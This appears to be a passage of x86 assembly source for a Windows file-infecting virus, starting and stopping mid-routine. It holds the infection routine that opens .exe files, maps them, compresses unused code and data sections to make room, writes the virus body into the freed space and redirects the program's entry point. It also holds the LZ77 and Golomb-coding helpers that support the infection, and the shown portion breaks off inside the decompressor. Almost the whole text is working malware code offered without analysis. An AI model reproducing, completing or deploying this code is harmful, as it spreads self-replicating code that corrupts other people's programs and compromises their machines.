  lea eax, [ebx][IsBusy-@X]
  cmp byte ptr [eax], 0
  jnz lb_IsBusyNow
  inc byte ptr [eax]

  sub esp, SIZE_OF_LOCAL_VARS

  push edi ; initialize lpszFileNameToOpen

if NOT_INFECT_FILES

  xor ecx, ecx
  push ecx
  push FILE_ATTRIBUTE_NORMAL
  push (OPEN_ALWAYS)
  push ecx
  push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
  push (GENERIC_READ OR GENERIC_WRITE)
  lea eax, [ebx][LogFileName-@X]
  push eax
  call [ebx][lpfnCreateFileA-@X]
  cmp eax, -1
  jz lb_ExitInfectPeFile

  mov esi, eax

  xor ecx, ecx
  push FILE_END
  push ecx
  push ecx
  push esi
  call [ebx][lpfnSetFilePointer-@X]

  push 0000200h
  lea edi, [ebx+00002000h][BaseOfVirusCode-@X]
  push edi
  push -1
  lea eax, [ebx][pe_szExeFile-@X]
  push eax
  push MB_COMPOSITE
  push CP_ACP
  call [ebx][lpfnMultiByteToWideChar-@X]
  test eax, eax
  jz lb_LogFail

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  add eax, eax
  dec eax
  dec eax
  push eax
  push edi
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

  push dword ptr ':'
  mov eax, esp

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  push 2
  push eax
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

  pop eax
  pop edi
  push edi

  xor eax, eax
lp_FindNullWChar:
  movzx ecx, word ptr [edi]
  jecxz lb_WStringEnd
  inc eax
  inc eax
  inc edi
  inc edi
  jmp lp_FindNullWChar

lb_WStringEnd:

  pop edi

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  push eax
  push edi
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

  push dword ptr 000A000Dh
  mov eax, esp

  push 0
  lea ecx, [ebp][dwNumberOfBytesWritten]
  push ecx
  push 4
  push eax
  push esi
  call [ebx][lpfnWriteFile-@X]
  test eax, eax
  jz lb_LogFail

lb_LogFail:

  push esi
  call [ebx][lpfnCloseHandle-@X]

  jmp lb_ExitInfectPeFile

endif

  xor eax, eax
  mov esi, edi

lp_FindTheEndOfWideString:

  movzx ecx, word ptr [esi]
  jecxz lb_WideStringTerminate
  inc esi
  inc esi
  jmp lp_FindTheEndOfWideString

lb_WideStringTerminate:

  xor eax, eax
  push 4
  pop ecx

lp_Convert4WideCharsToAnsiChars:
  shl eax, 8
  dec esi
  dec esi
  mov al, [esi]
  loop lp_Convert4WideCharsToAnsiChars

  or eax, 20202000h
  cmp eax, 'exe.'
  jnz lb_ExitInfectPeFile

if DEBUG

  mov edx, [esi-4]
  or edx, 00200020h
  cmp edx, 00740073H
  jnz lb_ExitInfectPeFile

  mov edx, [esi-8]
  or edx, 00200020h
  cmp edx, 00650074H
  jnz lb_ExitInfectPeFile

endif

  push edi
  call [ebx][lpfnGetFileAttributesW-@X]
  cmp eax, -1
  jz lb_ExitInfectPeFile
  xchg eax, esi

  push FILE_ATTRIBUTE_NORMAL    ;<
  push edi        ;< Try to change file attributes
  call [ebx][lpfnSetFileAttributesW-@X] ;<
  test eax, eax
  jz lb_ExitInfectPeFile ;Fail to set the file attributes to FILE_ATTRIBUTE_NORMAL

  xor ecx, ecx
  push ecx
  push FILE_ATTRIBUTE_NORMAL
  push OPEN_EXISTING
  push ecx
  push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
  push (GENERIC_READ OR GENERIC_WRITE)
  push edi
  call [ebx][lpfnCreateFileW-@X]
  cmp eax, -1
  jz lb_FileOpenFail

  push eax ;Initialize hFileHandle

  push esi        ;<
  push edi        ;< Restore original file attributes.
  call [ebx][lpfnSetFileAttributesW-@X] ;<

  xor ecx, ecx
  push ecx
  push ecx
  push ecx
  push PAGE_READWRITE
  push ecx
  push dword ptr [ebp][hFileHandle]
  call [ebx][lpfnCreateFileMappingW-@X]
  cmp eax, -1
  jz lb_CreateFileMappingFail

  push eax ; Initialize hFileMappingHandle

  xor ecx, ecx
  push ecx
  push ecx
  push ecx
  push FILE_MAP_WRITE
  push eax
  call [ebx][lpfnMapViewOfFile-@X]
  test eax, eax
  jz lb_MapViewOfFileFail

  push eax ;Initialize lpFileMapping

  push 0
  push dword ptr [ebp][hFileHandle]
  call [ebx][lpfnGetFileSize-@X]
  cmp eax, -1 ;Is the return value INVALID_FILE_SIZE??
  jz lb_StopInfecting
  cmp eax, 12 * 1024
  jb lb_StopInfecting
  push eax ;Initialize dwTotalFileSize

  mov eax, [ebp][lpFileMapping]
  cmp word ptr [eax], 'ZM'
  jnz lb_StopInfecting

  mov ecx, [eax+0000003Ch]  ;Maybe the file is not a PE file. So you must
  cmp ecx, [ebp][dwTotalFileSize] ;ensure the 003Ch offset is in the range of
  jae lb_StopInfecting   ;the file.

  lea edi, [eax+ecx]
  push edi ;Initialize lpNtHeaders

  cmp dword ptr [edi], 00004550h
  jnz lb_StopInfecting

  mov ecx, [edi+00000028h]
  lea edx, [eax+ecx]
  cmp [edx], dword ptr 00EC8160h
  jz lb_StopInfecting

  xor ecx, ecx
  push ecx ;Initialize ulInformation
  push ecx ;The end flag
  mov [ebp][CompressionInfoAA+off_pSection], ecx
  mov [ebp][CompressionInfoBB+off_pSection], ecx

  movzx ecx, word ptr [edi+00000006h]
  mov [ebp][i], ecx
  lea esi, [edi+000000F8h]

lp_FindCodeAndDataSection:

  mov ecx, [esi+00000010h]
  cmp ecx, 00001000h
  jb lb_TryNextSection
  mov eax, [esi+00000024h]
  cmp eax, 0C0000040h
  jz lb_DataSectionFound
  cmp eax, 60000020h
  jz lb_CodeSectionFound
  jmp lb_TryNextSection

lb_DataSectionFound:

  call CheckReferenceToSection
  jc lb_TryNextSection
  mov [ebp][CompressionInfoBB+off_pSection], esi
  jmp lb_TryNextSection

lb_CodeSectionFound:

  call CheckReferenceToSection
  jc lb_TryNextSection
  mov [ebp][CompressionInfoAA+off_pSection], esi

lb_TryNextSection:

  add esi, SIZE_OF_IMAGE_SECTION_HEADER
  dec dword ptr [ebp][i]
  jnz lp_FindCodeAndDataSection

  lea esi, [ebp][CompressionInfoAA]
  mov ecx, [esi]
  lea eax, [ebx][lpBufferForDataCompressed]
  mov [esi][off_pCompressedDataBuffer], eax
  mov [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax
  jecxz lb_NoCodeSectionCanBeUsed

  call CompressPeSection ;Compress the code section
  cmp ecx, VIRUS_PHYSICAL_SIZE
  jae lb_OnlyCodeSectionCompressed

  ;add [esi][off_pCompressedDataBuffer], eax
  add [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax ;Adjust the pointer

lb_NoCodeSectionCanBeUsed:

  lea esi, [ebp][CompressionInfoBB]
  cmp dword ptr [esi], 0
  jz lb_StopInfecting

  ;add [esi][off_pCompressedDataBuffer], eax
  call CompressPeSection
  cmp ecx, VIRUS_PHYSICAL_SIZE
  lea esi, [ebp][CompressionInfoAA]
  jae lb_OnlyDataSectionCompressed

  cmp dword ptr [esi], 0
  jz lb_StopInfecting

  or dword ptr [ebp][ulInformation], FLAG_USE_TWO_SECTIONS

  cmp [esi][off_ulNumFreeBytes], eax
  jae lb_Noname1

  cmp ecx, [esi][off_ulNumUsedBytes]
  jb lb_StopInfecting
  or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION

lb_Noname1:

  mov [ebx][JumpOffset-@X], byte ptr 0
  jmp lb_CompressionCompleted

lb_OnlyDataSectionCompressed:
  or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION
lb_OnlyCodeSectionCompressed:
  mov [ebx][JumpOffset-@X], byte ptr (lb_NoSecondCompressedSection - NextStatement)

;*********************************************************************
;*                                                                   *
;* My Infection algorithm:                                          *
;* 1) Try to find two sections which are not referred by any data  *
;*  directory in the PE file.                                    *
;* 2) Compress a part of the data of the section. The max size of  *
;*  the data to be compressed is 16K. Because my compression     *
;*  algorithm is not so perfect, the processing time will be     *
;*  very long if the data is too much.                           *
;* 3) If one of the sections is large enough to hold the           *
;*  compressed data and the virus code, just place there.        *
;*  Otherwise, move compressed data in one section to anther     *
;*  and just place the virus code in the section.                *
;*                                                                   *
;*********************************************************************

;1. two sections & in code section
;
;CODE_SEG    DATA_SEG
; _______     _______
;|       |   |       |
;|   D   |   |       |
;|_______|   |   V   |
;|       |   |       |
;|   C   |   |       |
;|_______|   |_______|
;
;
;2. two sections & in data section
;
;DATA_SEG    CODE_SEG
; _______     _______
;|       |   |       |
;|   C   |   |       |
;|_______|   |   V   |
;|       |   |       |
;|   D   |   |       |
;|_______|   |_______|
;
;3. one sections & in code section
;
;CODE_SEG
; _______
;|       |
;|   C   |
;|_______|
;|       |
;|   V   |
;|_______|
;
;
;4. one sections & in data section
;
;DATA_SEG
; _______
;|       |
;|   D   |
;|_______|
;|       |
;|   V   |
;|_______|


lb_CompressionCompleted:

  mov eax, [ebp][ulInformation]
  ;lea esi, [ebp][CompressionInfoAA]
  cmp eax, dword ptr (FLAG_USE_TWO_SECTIONS) ;If in code section and use two sections?
  jz lb_ExchangeCompressionInformation
  cmp eax, dword ptr (FLAG_IN_DATA_SECTION) ;If in data section and use one section?
  jz lb_ExchangeCompressionInformation

  jmp lb_SaveParameters

lb_ExchangeCompressionInformation:

  push DWORDSofCompressionInfo
  pop ecx
  lea edi, [ebp][CompressionInfoBB]

lp_ExchangeData:
  xchg eax, [edi]
  xchg eax, [edi][DWORDSofCompressionInfo*4]
  xchg eax, [edi]
  add edi, 4
  loop lp_ExchangeData

  ;lea esi, [ebp][CompressionInfoBB]

lb_SaveParameters:

  lea esi, [ebp][CompressionInfoAA]
  mov edx, [esi][off_pSection]
  lea edi, [ebx][DecompressionParametersA-@X]
  xor eax, eax
  lea ecx, [eax+1]

  test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
  jz lb_RemainCounterTo1
  inc ecx
  mov edx, [ebp][CompressionInfoBB+off_pSection]

lb_RemainCounterTo1:

  mov [ebp][pSectionOfOriginalDataAndCode], edx

lp_SaveFileWritingInformation:

  push dword ptr [esi][off_ulNumUsedBytes]
  push dword ptr [esi][off_pCompressedDataBuffer]

  push ecx

  mov ecx, [esi][off_ulNumTotalBits]
  mov [edi], ecx ;Total number of bits
   ;mov ecx, [esi][off_pSection]
  mov ecx, [ebp][pSectionOfOriginalDataAndCode]
  mov edx, [ecx+0000000Ch]
  add edx, eax
  mov [edi+00000004h], edx ;Source data address for decompression
  mov edx, [ecx+00000014h]
  mov ecx, [esi][off_OriginalVirtualAddress]
  mov [edi+00000008h], ecx
  add edx, eax ;File offset where the compressed data will be stored.

  pop ecx
  push edx
  add eax, [esi][off_ulNumUsedBytes]
  add edi, 0000000Ch
  sub esi, DWORDSofCompressionInfo*4
  loop lp_SaveFileWritingInformation

  ;lea esi, [ebp+CompressionInfoAA][off_pSection]
  ;mov edi, [esi][off_pSection]
  mov edi, [ebp+CompressionInfoAA][off_pSection]
  mov edx, [edi+00000014h]
  mov ecx, [edi+0000000Ch]

  test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
  jnz lb_Noname3

  add edx, eax
  add ecx, eax

lb_Noname3:

  mov [ebp][ulAddressOfVCode], ecx

  push VIRUS_PHYSICAL_SIZE
  lea ecx, [ebx][BaseOfVirusCode-@X]
  push ecx
  push edx

  mov edi, [ebp][lpNtHeaders]

  mov eax, [edi+00000080h]
  call RvaAddressToFileMappingAddress
  xchg esi, eax

lb_LoopOfFindImportDescriptorOfKernel32:

  push (SIZE_OF_IMPORT_DESCRIPTOR)
  push esi
  call IsAllZero
  jz lb_StopInfecting  ; All import descriptor have been retrieved,
        ; but kernel32 is not found. So we should do nothing
        ; but just exit.

  mov eax, [esi+0000000Ch]
  call RvaAddressToFileMappingAddress
  xchg eax, edi

  push esi
  lea esi, [ebx][NameOfKernel32-@X]
  call strcmpi
  pop esi
  jz lb_Kernel32IsFound
  add esi, SIZE_OF_IMPORT_DESCRIPTOR
  jmp lb_LoopOfFindImportDescriptorOfKernel32

lb_Kernel32IsFound:

  mov eax, [esi+00000010h]      ;< Save the address of first thunk
  mov [ebx][RvaOfFirstThunkOfKernel32-@X], eax ;<

  ;mov esi, [ebp][pDataSection]
  ;push VIRUS_PHYSICAL_SIZE
  ;lea ecx, [ebx][BaseOfVirusCode-@X]
  ;push ecx
  ;mov eax, [ebp][ulAddressOfVCode]
  ;call RvaToFilePointer
  ;push eax

  mov edi, [ebp][lpNtHeaders]     ;<
  mov eax, [ebp][ulAddressOfVCode]   ;<
  add eax, EntryOfVirusCode-BaseOfVirusCode ;< Modify Address of Entry Point
  lea ecx, [edi+00000028h]     ;< And
  mov edx, [ecx]        ;< Save Original Address of
  mov [ebx][OriginalEntryPoint-@X], edx  ;< Entry Point
  mov [ecx], eax        ;<
  mov [ebx][RvaOfEntryPoint-@X], eax   ;<


  lea ecx, [edi+00000064h]
  mov eax, VIRUS_BOOTING_SIZE
  cmp [ecx], eax
  jae lb_NotEnlargeSizeOfStackCommitSize
  add [ecx], eax
lb_NotEnlargeSizeOfStackCommitSize:

lb_LoopOfWriteTargetFile:

  pop eax
  test eax, eax
  jz lb_InfectionCompleted

  add eax, [ebp][lpFileMapping]
  xchg edi, eax

  pop esi
  pop ecx
  cld
  rep movsb

  jmp lb_LoopOfWriteTargetFile


lb_InfectionCompleted:

lb_StopInfecting:

  push dword ptr [ebp][lpFileMapping]
  call [ebx][lpfnUnmapViewOfFile-@X]

lb_MapViewOfFileFail:

  push dword ptr [ebp][hFileHandle]
  call [ebx][lpfnCloseHandle-@X]

lb_CreateFileMappingFail:

  push dword ptr [ebp][hFileMappingHandle]
  call [ebx][lpfnCloseHandle-@X]

lb_FileOpenFail:
lb_ExitInfectPeFile:

  mov byte ptr [ebx][IsBusy-@X], 0

lb_IsBusyNow:

  mov esp, ebp
  pop ebp
  ret

;*********************************************************************
;*                                                                   *
;* CompressPeSection()                                              *
;*                                                                   *
;* Remarks:                                                         *
;*  Process the specified section to make preparations for       *
;*  furher infections.                                           *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to the start address of the buffer containing the      *
;*  parameters about data compression.                           *
;*                                                                   *
;* Return Value:                                                    *
;*  [Ecx]                                                        *
;*  The number of free bytes that can be overwritten with the    *
;*  virus code after compression.                                *
;*  [Eax]                                                        *
;*  The number of bytes that the original data of the data       *
;*  have been compressed to.                                     *
;*                                                                   *
;*********************************************************************
CompressPeSection:

  pop dword ptr [ebx][ReteunFromCompressPeSection-@X]
  mov edi, [esi][off_pSection]
  mov ecx, [edi+0000000Ch]
  mov [esi][off_OriginalVirtualAddress], ecx
  mov ecx, [edi+00000010h]
  mov edx, MAX_SIZE_TO_COMPRESS
  cmp ecx, edx
  jbe lb_UseSizeOfRawData
  mov ecx, edx

lb_UseSizeOfRawData:

  lea edx, [esi][off_ulNumTotalBits]
  and [edx], dword ptr 0

  mov eax, [edi+00000014h]
  add eax, [ebp][lpFileMapping]

  push edx
  push dword ptr [esi][off_pCompressedDataBuffer]
  push ecx
  push eax
  call LZ77Compress

  mov eax, [edx]
  test eax, eax
  jz lb_StopInfecting
  add eax, 7
  shr eax, 3

  sub ecx, eax
  jb lb_StopInfecting

  mov [esi][off_ulNumUsedBytes], eax
  mov [esi][off_ulNumFreeBytes], ecx

  push 'HOLD'
ReteunFromCompressPeSection = $-4
  ret


;*********************************************************************
;*                                                                   *
;* IsRvaInSection()                                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  Check if the RVA is in the specified section.                *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The RVA which will be checked.                               *
;*  [Esi]                                                        *
;*  Point to the section.                                        *
;*                                                                   *
;* Return Value:                                                    *
;*  If the Rva is in the section, both CF and ZF are cleared.    *
;*  If not, either CF or ZF is set.                              *
;*                                                                   *
;*********************************************************************
IsRvaInSection:
;{
  push edx
  mov edx, [esi+0000000Ch]
  cmp eax, edx
  jb lb_RvaNotInTheSection
  add edx, [esi+00000010h]
  cmp edx, eax
  jbe lb_RvaNotInTheSection

  pop edx
  ret

lb_RvaNotInTheSection:

  pop edx
  ret
;}


;*********************************************************************
;*                                                                   *
;* CheckReferenceToSection()                                        *
;*                                                                   *
;* Remarks:                                                         *
;*  Check if the section is referred by one or more data         *
;*  directories. If the section is referred, it cannot be used   *
;*  to write the virus code.                                     *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to the section which will be checked.                  *
;*                                                                   *
;* Return Value:                                                    *
;*  If the section is referred, CF is set.                       *
;*  If not, CF is cleared.                                       *
;*                                                                   *
;*********************************************************************
CheckReferenceToSection:

  push ecx

  mov edx, [ebp][lpNtHeaders]
  movzx ecx, word ptr[edx+00000006h]
  add edx, 00000078h

lp_CheckAllDataDirectory:

  mov eax, [edx] ; IMAGE_EXPORT_DIRECTORY
  call IsRvaInSection
  jnbe lb_SectionIsReferred
  add edx, 8
  loop lp_CheckAllDataDirectory

  pop ecx
  clc ; Not referred
  ret

lb_SectionIsReferred:

  pop ecx
  stc ; referred
  ret

;*********************************************************************
;*                                                                   *
;* GetProcedureAddress()                                            *
;*                                                                   *
;* Remarks:                                                         *
;*  Get the entry address of the specified API function from     *
;*  the system DLLs of Windows.                                  *
;*                                                                   *
;* Parameters:                                                      *
;*  Edi: Pointer to a null-terminated string containing the API  *
;*   function name whose entry address we want to get.        *
;*  Eax: The image base of the DLL from which the API function   *
;*   is exported.                                             *
;*  Esi: Pointer to a IMAGE_EXPORT_DIRECTORY structure which     *
;*    contains the export information.                           *
;*                                                                   *
;* Return Value:                                                    *
;*  The entry address of the API function.                       *
;*                                                                   *
;*********************************************************************
GetProcedureAddress:

  mov ecx, [esi+00000018h]
  mov edx, [esi+00000020h]
  add edx, eax

  push esi

lp_FindMatchedProcedureName:

  mov esi, [edx]
  add esi, eax
  call strcmpi
  jz lb_MatchedProcedureNameFound
  add edx, 4
  loop lp_FindMatchedProcedureName

  xor eax, eax
  pop esi
  ret
lb_MatchedProcedureNameFound:

  pop esi
  sub edx, [esi+00000020h]
  ;sub edx, eax
  mov ecx, [esi+0000001Ch]
  ;add ecx, eax
  add ecx, edx
  add eax, [ecx]

  ret


;extern "C"
;void __declspec(naked) WINAPI
;LZ77Compress(
; PUCHAR __pDataBuffer,
; ULONG __ulDataLength,
; PUCHAR __pOutputBuffer,
; PULONG __pulNumberOfBits
; )
;//{

;*********************************************************************
;*                                                                   *
;* LZ77Compress()                                                   *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*  [Param3]                                                     *
;*  [Param4]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Decompress the data.                                         *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]                                                     *
;*  Point to the buffer containing the data that will be         *
;*  compressed.                                                  *
;*  [Param2]                                                     *
;*  The total bytes of the data that will be compressed          *
;*  [Param3]                                                     *
;*  Point to the buffer where the data will be stored after      *
;*  compression.                                                 *
;*  [Param4]                                                     *
;*  Point to the variable that will save the number of bits of   *
;*  the data after compression                                   *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************

BASE_OFFSET   = (36)
pDataBuffer   = (BASE_OFFSET)
ulDataLength  = (BASE_OFFSET+4)
pOutputBuffer  = (BASE_OFFSET+8)
pulNumberOfBits  = (BASE_OFFSET+12)
iSlideWindowPtr  = (-4)
ulBytesCoded  = (-8)
ulBytesDecoded  = (-8)
ulLength   = (-12)
ulOffset   = (-16)
pSlideWindowPtr  = (-20)

LZ77Compress:

  pushad
  mov ebp, esp

  xor ebx, ebx ; Intialize ulBitOffset
  mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr
  mov edi, [ebp][pOutputBuffer]

  push -MAX_WND_SIZE ; Initialize iSlideWindowPtr
  push 0    ; Initialzie ulBytesCoded
  sub esp, 3 * 4


lp_CompressDataWithLZ77:


  mov edx, [ebp][ulBytesCoded]
  cmp edx, 00001000h
  jb lb_NotAssumeDataCompressibility

  mov ecx, ebx       ;After MAX_WND_SIZE bytes data have been
  shr ecx, 3        ;compressed, we should assume the
  cmp ecx, edx       ;compressibility of the data.
  jbe lb_DataCompressibilityIsStillGood ;

  xor ebx, ebx
  jmp lb_ExitLZ77Compress

lb_NotAssumeDataCompressibility:
lb_DataCompressibilityIsStillGood:
  ;mov eax, [ebp][ulBytesCoded]
  ;cmp eax, [ebp][ulDataLength]
  mov eax, [ebp][ulDataLength]
  sub eax, [ebp][ulBytesCoded]
  jbe lb_AllBytesCompressed

  push eax
  mov eax, [ebp][iSlideWindowPtr]
  mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr
  mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength

  cmp eax, 0
  jl lb_L01_1
  add edx, eax
  jmp lb_L01_3
lb_L01_1:
  cmp eax, -MAX_WND_SIZE
  jl lb_L01_2
  add ecx, eax
  jmp lb_L01_3
lb_L01_2:
  xor ecx, ecx
  xor edx, edx
lb_L01_3:

  pop eax
  cmp eax, ecx
  jae lb_BytesLeftMoreThanMaxWndSize
  mov ecx, eax
lb_BytesLeftMoreThanMaxWndSize:
  call FindSubStringWithMaxLength

  mov eax, [ebp][ulLength]
  cmp eax, 1
  jle lb_MatchedStringLengthIsLessThan1

  call Write1ToBitStream

  mov eax, [ebp][ulOffset]
  mov ecx, OFFSET_CODING_LENGTH
  call WriteBitsToBitStream

  mov eax, [ebp][ulLength]
  call WriteGolombCode

  mov eax, [ebp][ulLength]
  add esi, eax
  add [ebp][iSlideWindowPtr], eax
  add [ebp][ulBytesCoded], eax
  jmp lp_CompressDataWithLZ77

lb_MatchedStringLengthIsLessThan1:

  call Write0ToBitStream

  mov eax, [esi]
  push 8
  pop ecx
  call WriteBitsToBitStream

  inc esi
  inc dword ptr [ebp][iSlideWindowPtr]
  inc dword ptr [ebp][ulBytesCoded]

  jmp lp_CompressDataWithLZ77

lb_AllBytesCompressed:

lb_ExitLZ77Compress:

  mov eax, [ebp][pulNumberOfBits]
  mov [eax], ebx

  mov esp, ebp
  popad
  ret 16

;*********************************************************************
;*                                                                   *
;* WriteBitsToBitStream()                                           *
;*                                                                   *
;* Remarks:                                                         *
;*  Writing a series of bits to the bit stream.                  *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to the base address of the bit stream. The address is  *
;*  byte-boundary.                                               *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the new bits will         *
;*  be written.                                                  *
;*  [Eax]                                                        *
;*  The bits that will be wtitten to the bit stream.             *
;*  [Ecx]:                                                       *
;*  The number of bits that will be written to the bit stream.   *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
WriteBitsToBitStream:

lp_LoopOfWritingOffset:

  shr eax, 1
  jc lb_CurrentBitIs1

  call Write0ToBitStream
  jmp lb_WriteNextBit

lb_CurrentBitIs1:

  call Write1ToBitStream

lb_WriteNextBit:

  loop lp_LoopOfWritingOffset
  ret


;*********************************************************************
;*                                                                   *
;* Write1ToBitStream()                                              *
;*                                                                   *
;* Remarks:                                                         *
;*  Writing 1 to the bit stream.                                 *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to the base address of the bit stream. The             *
;*  address is byte-boundary.                                    *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the data 1 will           *
;*  be written.                                                  *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
Write1ToBitStream:

lb_Write1ToBitStream:

  push edx
  push ecx
  push eax
  mov eax, ebx
  shr eax, 3
  add eax, edi
  mov ecx, ebx
  and ecx, 7
  push 1
  pop edx
  shl edx, cl
  or [eax], dl
  pop eax
  pop ecx
  pop edx
  inc ebx
  ret

;*********************************************************************
;*                                                                   *
;* Write0ToBitStream                                                *
;*                                                                   *
;* Remarks:                                                         *
;*  Writing 0 to the bit stream.                                 *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to the base address of the bit stream. The address is  *
;*  byte-boundary.                                               *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the data 0 will           *
;*  be written.                                                  *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
Write0ToBitStream:

lb_Write0ToBitStream:

  push edx
  push ecx
  push eax
  mov eax, ebx
  shr eax, 3
  add eax, edi
  mov ecx, ebx
  and ecx, 7
  push 1
  pop edx
  shl edx, cl
  not edx
  and [eax], dl
  pop eax
  pop ecx
  pop edx
  inc ebx
  ret

;*********************************************************************
;*                                                                   *
;* CompareStrings()                                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  Compare two strings.                                         *
;*                                                                   *
;* Parameters:                                                      *
;*  [Ecx]                                                        *
;*  Point to string1.                                            *
;*  [Edi]                                                        *
;*  Point to string2.                                            *
;*  [Ecx]                                                        *
;*  The max length of comparation length.                        *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
CompareStrings:
;//{

  push esi
  push edi

  ;lea eax, [esi+1]
  ;cld
  ;rep cmpsb

  mov eax, esi

lp_CompareStrings:

  mov dl, [esi]
  cmp dl, [edi]
  jnz lb_StringsUnmatched
  inc esi
  inc edi
  loop lp_CompareStrings

lb_StringsUnmatched:

  sub esi, eax
  mov eax, esi

  pop edi
  pop esi

  ret
;//}


;*********************************************************************
;* FindSubStringWithMaxLength()                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Find the sub string of string2 with the max length           *
;*  that matches string1.                                        *
;*                                                                   *
;* Parameters:                                                      *
;*  [Ecx]                                                        *
;*  The max length of string1.                                   *
;*  [Esi]                                                        *
;*  Point to string1.                                            *
;*  [Edi]                                                        *
;*  Point to string2.                                            *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
FindSubStringWithMaxLength:
;//{

  push esi
  push edi

  xor eax, eax
  mov [ebp][ulLength], eax ; Initailzie return value
  mov [ebp][ulOffset], eax ; Initialize return value
  mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr
  mov edi, edx

  test edi, edi
  jz lb_ExitFindLongestSubstring

  jecxz lb_ExitFindLongestSubstring

lb_LoopOfFindSubStrings:

  push ecx
  call CompareStrings
  pop ecx

  cmp eax, [ebp][ulLength]
  jbe lb_SubStringIsNotTheLongest

  mov [ebp][ulLength], eax
  mov eax, edi
  sub eax, [ebp][pSlideWindowPtr]
  mov [ebp][ulOffset], eax


lb_SubStringIsNotTheLongest:

  inc edi
  loop lb_LoopOfFindSubStrings

lb_ExitFindLongestSubstring:
  pop edi
  pop esi
  ret
;//}

;*********************************************************************
;*                                                                   *
;*  WriteGolombCode()                                                *
;*                                                                   *
;* Remarks:                                                         *
;*  Write the Golomb code to the bit stream.                     *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The value which is to be coded.                              *
;*  [Edi]                                                        *
;*  Point to start address of the bit stream.                    *
;*  [Ebx]                                                        *
;*  The offset in the bit stream where the Golomb code           *
;*  will be written.                                             *
;*                                                                   *
;* Return value:                                                    *
;*  The length of the coding.                                    *
;*                                                                   *
;*********************************************************************
WriteGolombCode:

  lea ecx, [eax-1]
  shr ecx, M ; q
  mov edx, ecx
  push ecx
  jecxz lb_QIsZero

lp_WriteQOnes:
  call Write1ToBitStream
  loop lp_WriteQOnes

lb_QIsZero:
  call Write0ToBitStream

  shl edx, M ; q<<m
  sub eax, edx ;
  dec eax   ; r = x-(q<<m)-1

  mov ecx, 1

lb_LoopOfWritingR:

  shr eax, 1
  jc lb_CurrentBitIs1_b

  call Write0ToBitStream
  jmp lb_CurrentBitIs0_b

lb_CurrentBitIs1_b:

  call Write1ToBitStream

lb_CurrentBitIs0_b:

  inc ecx
  cmp ecx, M
  jbe lb_LoopOfWritingR

  pop eax
  add eax, M+1

  ret

;//}

;extern "C"
;void __declspec(naked) WINAPI
;LZ77Decompress(
; PUCHAR __pDataBuffer,
; ULONG __ulNumberOfBits,
; PUCHAR __pOutputBuffer,
; PULONG __pulNumberOfBytes
; )
;//{

;*********************************************************************
;*                                                                   *
;* LZ77Decompress()                                                 *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*  [Param3]                                                     *
;*  [Param4]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Decompress the data.                                         *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]                                                     *
;*  Point to the buffer containing the data that will be         *
;*  decompressed.                                                *
;*  [Param2]                                                     *
;*  The total bits of the data that will be decompressed         *
;*  [Param3]                                                     *
;*  Point to the buffer where the data will be stored after      *
;*  decompression.                                               *
;*  [Param4]                                                     *
;*  The number of bytes of the data after decompression          *
;*                                                                   *
;* Return value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
ulNumberOfBits  = (BASE_OFFSET+4)
pOutputBuffer  = (BASE_OFFSET+8)
pulNumberOfBytes = (BASE_OFFSET+12)

LZ77Decompress:

  pushad
  mov ebp, esp

  xor ebx, ebx ; Initialize bit offset
  mov esi, [ebp][pDataBuffer]
  mov edi, [ebp][pOutputBuffer]

  push -MAX_WND_SIZE
  push 0
  sub esp, 3 * 4

lb_LZ77Decompress:

  cmp ebx, [ebp][ulNumberOfBits]
  jae lb_AllDataDecompressed

  call ReadBitFromBitStream

  test eax, eax
  jz lb_SingleCharacter

  mov eax, [ebp][iSlideWindowPtr]
  mov edx, [ebp][pOutputBuffer]

